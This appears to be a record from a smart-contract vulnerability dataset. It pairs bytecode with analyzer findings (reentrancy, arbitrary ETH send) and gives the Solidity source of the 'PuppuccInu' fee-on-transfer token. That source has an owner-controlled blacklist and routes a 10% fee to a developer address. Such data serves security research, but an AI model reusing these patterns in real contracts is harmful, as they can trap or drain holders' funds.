0x6080604052600436106101f25760003560e01c80636d8aa8f81161010d578063881dce60116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b8063881dce60146105185780638da5cb5b146105385780638f9a55c01461055657806395d89b411461056c57600080fd5b806374010ece116100dc57806374010ece146104b7578063790ca413146104d75780637c519ffb146104ed5780637d1db4a51461050257600080fd5b80636d8aa8f81461044d5780636fc3eaec1461046d57806370a0823114610482578063715018a6146104a257600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d85780634bf2c7c9146103f85780635996c6b0146104185780635d098b381461042d57600080fd5b80632fd689e314610366578063313ce5671461037c57806333251a0b1461039857806338eea22d146103b857600080fd5b806318160ddd116101c157806318160ddd146102e857806323b872dd1461030e57806327c8f8351461032e57806328bb665a1461034457600080fd5b806306fdde03146101fe578063095ea7b3146102475780630f3a325f146102775780631694505e146102b057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600e81526d4c69717569642046696e616e636560901b60208201525b60405161023e9190611f19565b60405180910390f35b34801561025357600080fd5b50610267610262366004611dc4565b61065f565b604051901515815260200161023e565b34801561028357600080fd5b50610267610292366004611d10565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bc57600080fd5b506016546102d0906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102f457600080fd5b50683635c9adc5dea000005b60405190815260200161023e565b34801561031a57600080fd5b50610267610329366004611d83565b610676565b34801561033a57600080fd5b506102d061dead81565b34801561035057600080fd5b5061036461035f366004611df0565b6106df565b005b34801561037257600080fd5b50610300601a5481565b34801561038857600080fd5b506040516009815260200161023e565b3480156103a457600080fd5b506103646103b3366004611d10565b61077e565b3480156103c457600080fd5b506103646103d3366004611ef7565b6107ed565b3480156103e457600080fd5b506017546102d0906001600160a01b031681565b34801561040457600080fd5b50610364610413366004611ede565b610822565b34801561042457600080fd5b50610364610851565b34801561043957600080fd5b50610364610448366004611d10565b610a36565b34801561045957600080fd5b50610364610468366004611ebc565b610a90565b34801561047957600080fd5b50610364610ad8565b34801561048e57600080fd5b5061030061049d366004611d10565b610b02565b3480156104ae57600080fd5b50610364610b24565b3480156104c357600080fd5b506103646104d2366004611ede565b610b98565b3480156104e357600080fd5b50610300600a5481565b3480156104f957600080fd5b50610364610bd6565b34801561050e57600080fd5b5061030060185481565b34801561052457600080fd5b50610364610533366004611ede565b610c30565b34801561054457600080fd5b506000546001600160a01b03166102d0565b34801561056257600080fd5b5061030060195481565b34801561057857600080fd5b506040805180820190915260048152634151554160e01b6020820152610231565b3480156105a557600080fd5b506102676105b4366004611dc4565b610cac565b3480156105c557600080fd5b506103646105d4366004611ef7565b610cb9565b3480156105e557600080fd5b506103006105f4366004611d4a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036461063a366004611ede565b610cee565b34801561064b57600080fd5b5061036461065a366004611d10565b610d2c565b600061066c338484610e16565b5060015b92915050565b6000610683848484610f3a565b6106d584336106d08560405180606001604052806028815260200161211e602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115a3565b610e16565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611f6e565b60405180910390fd5b60005b815181101561077a57600160096000848481518110610736576107366120dc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610772816120ab565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611f6e565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611f6e565b600b91909155600d55565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161070990611f6e565b601155565b6000546001600160a01b0316331461087b5760405162461bcd60e51b815260040161070990611f6e565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156108db57600080fd5b505afa1580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190611d2d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095b57600080fd5b505afa15801561096f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109939190611d2d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109db57600080fd5b505af11580156109ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a139190611d2d565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6015546001600160a01b0316336001600160a01b031614610a5657600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610aba5760405162461bcd60e51b815260040161070990611f6e565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b031614610af857600080fd5b476107ea816115dd565b6001600160a01b03811660009081526002602052604081205461067090611617565b6000546001600160a01b03163314610b4e5760405162461bcd60e51b815260040161070990611f6e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610bc25760405162461bcd60e51b815260040161070990611f6e565b601854811015610bd157600080fd5b601855565b6000546001600160a01b03163314610c005760405162461bcd60e51b815260040161070990611f6e565b601754600160a01b900460ff1615610c1757600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610c5057600080fd5b610c5930610b02565b8111158015610c685750600081115b610ca35760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea8161169b565b600061066c338484610f3a565b6000546001600160a01b03163314610ce35760405162461bcd60e51b815260040161070990611f6e565b600c91909155600e55565b6000546001600160a01b03163314610d185760405162461bcd60e51b815260040161070990611f6e565b601954811015610d2757600080fd5b601955565b6000546001600160a01b03163314610d565760405162461bcd60e51b815260040161070990611f6e565b6001600160a01b038116610dbb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610ed95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f9e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b0382166110005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b600081116110625760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff161561109b5760405162461bcd60e51b815260040161070990611fa3565b6001600160a01b03831660009081526009602052604090205460ff16156110d45760405162461bcd60e51b815260040161070990611fa3565b3360009081526009602052604090205460ff16156111045760405162461bcd60e51b815260040161070990611fa3565b6000546001600160a01b0384811691161480159061113057506000546001600160a01b03838116911614155b1561144d57601754600160a01b900460ff1661118e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b0383811691161480156111b957506016546001600160a01b03848116911614155b15611228576001600160a01b03821630148015906111e057506001600160a01b0383163014155b80156111fa57506015546001600160a01b03838116911614155b801561121457506015546001600160a01b03848116911614155b156112285760185481111561122857600080fd5b6017546001600160a01b0383811691161480159061125457506015546001600160a01b03838116911614155b801561126957506001600160a01b0382163014155b801561128057506001600160a01b03821661dead14155b15611347576018548111156112d75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b601954816112e484610b02565b6112ee919061203b565b106113475760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b600061135230610b02565b601a5490915081118080156113715750601754600160a81b900460ff16155b801561138b57506017546001600160a01b03868116911614155b80156113a05750601754600160b01b900460ff165b80156113c557506001600160a01b03851660009081526006602052604090205460ff16155b80156113ea57506001600160a01b03841660009081526006602052604090205460ff16155b1561144a57601154600090156114255761141a60646114146011548661182490919063ffffffff16565b906118a3565b9050611425816118e5565b6114376114328285612094565b61169b565b47801561144757611447476115dd565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061148f57506001600160a01b03831660009081526006602052604090205460ff165b806114c157506017546001600160a01b038581169116148015906114c157506017546001600160a01b03848116911614155b156114ce57506000611591565b6017546001600160a01b0385811691161480156114f957506016546001600160a01b03848116911614155b15611554576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611554576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561157f57506016546001600160a01b03858116911614155b1561159157600d54600f55600e546010555b61159d848484846118f2565b50505050565b600081848411156115c75760405162461bcd60e51b81526004016107099190611f19565b5060006115d48486612094565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b600060075482111561167e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b6000611688611926565b905061169483826118a3565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116e3576116e36120dc565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561173757600080fd5b505afa15801561174b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176f9190611d2d565b81600181518110611782576117826120dc565b6001600160a01b0392831660209182029290920101526016546117a89130911684610e16565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906117e1908590600090869030904290600401611fca565b600060405180830381600087803b1580156117fb57600080fd5b505af115801561180f573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261183357506000610670565b600061183f8385612075565b90508261184c8583612053565b146116945760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b600061169483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b6107ea3061dead83610f3a565b806118ff576118ff611977565b61190a8484846119bc565b8061159d5761159d601254600f55601354601055601454601155565b6000806000611933611ab3565b909250905061194282826118a3565b9250505090565b6000818361196a5760405162461bcd60e51b81526004016107099190611f19565b5060006115d48486612053565b600f541580156119875750601054155b80156119935750601154155b1561199a57565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806119ce87611af5565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a009087611b52565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a2f9086611b94565b6001600160a01b038916600090815260026020526040902055611a5181611bf3565b611a5b8483611c3d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611aa091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611acf82826118a3565b821015611aec57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b128a600f54601054611c61565b9250925092506000611b22611926565b90506000806000611b358e878787611cb0565b919e509c509a509598509396509194505050505091939550919395565b600061169483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115a3565b600080611ba1838561203b565b9050838110156116945760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611bfd611926565b90506000611c0b8383611824565b30600090815260026020526040902054909150611c289082611b94565b30600090815260026020526040902055505050565b600754611c4a9083611b52565b600755600854611c5a9082611b94565b6008555050565b6000808080611c7560646114148989611824565b90506000611c8860646114148a89611824565b90506000611ca082611c9a8b86611b52565b90611b52565b9992985090965090945050505050565b6000808080611cbf8886611824565b90506000611ccd8887611824565b90506000611cdb8888611824565b90506000611ced82611c9a8686611b52565b939b939a50919850919650505050505050565b8035611d0b81612108565b919050565b600060208284031215611d2257600080fd5b813561169481612108565b600060208284031215611d3f57600080fd5b815161169481612108565b60008060408385031215611d5d57600080fd5b8235611d6881612108565b91506020830135611d7881612108565b809150509250929050565b600080600060608486031215611d9857600080fd5b8335611da381612108565b92506020840135611db381612108565b929592945050506040919091013590565b60008060408385031215611dd757600080fd5b8235611de281612108565b946020939093013593505050565b60006020808385031215611e0357600080fd5b823567ffffffffffffffff80821115611e1b57600080fd5b818501915085601f830112611e2f57600080fd5b813581811115611e4157611e416120f2565b8060051b604051601f19603f83011681018181108582111715611e6657611e666120f2565b604052828152858101935084860182860187018a1015611e8557600080fd5b600095505b83861015611eaf57611e9b81611d00565b855260019590950194938601938601611e8a565b5098975050505050505050565b600060208284031215611ece57600080fd5b8135801515811461169457600080fd5b600060208284031215611ef057600080fd5b5035919050565b60008060408385031215611f0a57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f4657858101830151858201604001528201611f2a565b81811115611f58576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561201a5784516001600160a01b031683529383019391830191600101611ff5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561204e5761204e6120c6565b500190565b60008261207057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561208f5761208f6120c6565b500290565b6000828210156120a6576120a66120c6565b500390565b60006000198214156120bf576120bf6120c6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220699294078b009058aabc346178b0fe9985968964b487141cd20679d6c4d6222f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,048 |
0xe89da4660cc5c6b66e6a63a6e7ef78eb356c79cf
|
/*
100,000,000,000 Total Supply
20% tokens burned, 80% to LP - no team tokens or presale tokens!
Fair launch
Buy Limit and Cooldown - no whales, no bots!
5% redistribution to holders
10% Dev Fee
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PuppuccInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "PuppuccInu";
string private constant _symbol = 'PUPPU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e63565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612986565b61045e565b6040516101789190612e48565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613005565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612937565b61048d565b6040516101e09190612e48565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128a9565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061307a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a03565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128a9565b610783565b6040516102b19190613005565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d7a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e63565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612986565b61098d565b60405161035b9190612e48565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c2565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a55565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128fb565b61121a565b6040516104189190613005565b60405180910390f35b60606040518060400160405280600a81526020017f50757070756363496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161373e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f45565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f45565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff